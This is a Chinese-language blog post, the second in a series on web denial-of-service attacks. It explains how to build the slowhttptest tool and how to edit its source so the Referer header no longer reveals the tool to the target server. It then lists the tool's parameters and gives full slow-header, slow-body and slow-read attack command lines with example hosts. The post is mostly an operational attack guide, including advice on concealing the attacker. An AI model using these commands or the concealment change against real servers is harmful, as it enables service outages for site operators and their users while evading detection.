2013年10月27日 星期日

WWW 阻斷服務攻擊 (2)

工具介紹


slowhttptest 這套工具,支援我們剛剛討論的三種做法,它最大的優點就是,可控制的參數項目很多,因此只要瞭解背後的原理,我們大概不需要其他類似的工具,只要有這一套就足夠了,因為我們可以透過參數的改變,來最佳化攻擊的效果。

下載地點在此

安裝方式是透過程式原始碼來安裝,指令如下:
$ tar xzf slowhttptest-x.x.tar.gz
$ cd slowhttptest-x.x
$ ./configure --prefix=PREFIX
$ make
$ sudo make install


上面的 x.x 代表的是 slowhttptest 的版本編號,我們可以透過下載下來的檔案名稱知道編號為何,例如本文撰寫的此刻,編號為 1.5,所以第一行指令就是 tar xzf slowhttptest-1.5.tar.gz,依此類推。

–prefix=PREFIX 代表我們想要安裝的路徑,例如:–prefix=/usr/local/bin/,此參數可以省略,所以直接輸入 ./configure 亦可。

如果我們是透過 ubuntu 來安裝的話,記得要先安裝編譯器 gcc 等軟體,可以打開 console 界面,輸入 sudo apt-get install build-essential 來安裝一般編譯程式碼所需要的軟體。

$ 符號代表下這些指令,是用一般使用者的權限即可,不需要用到 root 權限。

不支援 Windows。

如果安裝成功之後,我們在 console 界面輸入 slowhttptest -h,就會看到程式執行,並且印出說明畫面。

修改工具


工具在使用的時候,除了所需要的連線資訊外,還會送出 HTTP Referer 表頭如下:
Referer: http://code.google.com/p/slowhttptest/

這樣並沒有嚴重性的影響,但是會讓這套工具曝光,伺服器端可以看見這套工具的名稱和網址資訊。因此在安裝工具前,可以修改一下原始碼,解壓縮檔案後,在 src/slowhttptest.cc 檔案的第 95 行左右,可以找到如下:
"Referer: http://code.google.com/p/slowhttptest/\r\n";

將其改為:
"Referer: http://www.example.com/\r\n";

或者:
"Referer: http://www.yahoo.com/\r\n";

因為目前版本 1.5 是在第 95 行,如果未來版本改了,可以整個目錄底下搜尋一下 “Referer" 字串,看看在哪個檔案的哪裡,就可以修改了。
修改完之後,執行以下步驟,重新編譯。
$ make clean
$ ./configure
$ make
$ sudo make install


怎麼用?


slowhttptest 的幾項重要參數如下:

[一般性參數]
-c 最大連線數目
-r 每秒建立多少條連線
-u 被攻擊的伺服器 URL,和瀏覽器的網址列格式一樣,例如:https://www.example.org/
-H, B, or X 攻擊模式,H 代表 request header 模式,B 代表 request body 模式,X 則代表 response read 模式
-l 測試時間上限,超過此上限程式自動停止,單位為秒數
-g 產生 csv/html 格式的報表,預設檔案名稱為 slow_xxx.csv/htm,xxx 是日期與時間
-o 指定報表檔名
-d 指定所有連線都透過 WWW 代理伺服器,格式為 host:port
-e 指定只有測試伺服器是否還活著的連線,才透過 WWW 代理伺服器,格式為 host:port
-p 測試伺服器是否還活著的時間間隔,如果伺服器超過此時間間隔沒有回應,就認定伺服器掛了。單位是秒數

[request header/body 攻擊的特定參數]
-i 同一條連線中,每次送出資料的時間間隔,單位為秒數
-t HTTP 的 request 種類,合法的常見種類例如:GET 或 HEAD
-x 每次送出資料的最大量,單位為 bytes

[request body 攻擊的特定參數]
-s HTTP 表頭 Content-Length 的數值,有點是用來欺騙伺服器,我們的 request body 有多少位元組,單位是 bytes

[response read 攻擊的特定參數]
-w TCP window 大小的起始值
-y TCP window 大小的最終值,搭配 -w 參數,程式會從兩個數值的範圍隨機挑選一個數值當作 TCP window 的數值,單位是 bytes。
-n 每次從網路底層讀取資料的時間間隔,注意,並非網路接收對方資料的時間間隔,也就是說,資料可能已經送來並且被底層接收了,這裡只是控制我去讀的速度而已,而這個速度會間接影響底層接收的速度,卻非直接影響。單位是 bytes
-z 每次讀取資料的量,單位是 bytes

使用範例

一、以 resquest header 手法為例
$ slowhttptest -u 'http://www.example.com/index.php' -c 5000 -l 120 -r 1000 -H -t GET -i 10 -x 10 -p 5

-u 'http://www.example.com/index.php'
這一項參數代表指定攻擊對象為 'http://www.example.com/index.php'。

-c 5000
這代表最多建立 5000 條連線

-l 120
這代表測試時間為 120 秒,之後程式會自動結束

-r 1000
代表每秒建立 1000 條連線

-H
代表使用 request header 攻擊模式

-t GET
代表 HTTP request 的類型為 GET

-i 10
代表每 10 秒才送一次後續 request 資料

-x 10
代表每一筆後續 request 資料為 10 bytes

-p 5
代表每 5 秒就使用正常的連線去測試一下 'http://www.example.com/index.php',看看是否還連得上。

二、以 request body 手法為例
$ slowhttptest -u 'https://xxx.example.net/?exist=false' -c 5000 -l 120 -r 500 -B -i 111 -s 8192 -t GOT -x 10 -p 7

大部分與 request header 手法相同,僅就不同之處說明。

-B
這代表使用 request body 手法攻擊

-s 8192
這代表會送出 HTTP 表頭 Content-Length 資訊 8192 bytes,期待騙過對方伺服器,要它準備接受一個體積比較大的 request body

-t GOT
代表 HTTP request 的類型是 GOT,這是騙人的類型,實際上不存在。有的伺服器會接受這種謊話,然後造成攻擊成功。

三、以 response read 手法為例
$ slowhttptest -u "https://user.example.org/bigbigbig.jpg" -c 3000 -l 1200 -r 300 -X -w 512 -y 1024 -k 10 -n 5 -z 10 -p 5

僅就與上述兩種攻擊手法不同的參數介紹。

-X
代表攻擊手法為 response read

-w 512
-y 1024

這代表每條連線最一開始的 SYN 封包,會建議一個 window 值,介在 512 到 1024 之間

-k 10
代表使用 HTTP pipeline 功能,並且將倍率設定為 10

-n 5
-z 10

在每一條攻擊連線中,每經過 5 秒鐘,就從 socket read buffer 讀取 10 個 bytes

沒有留言:

張貼留言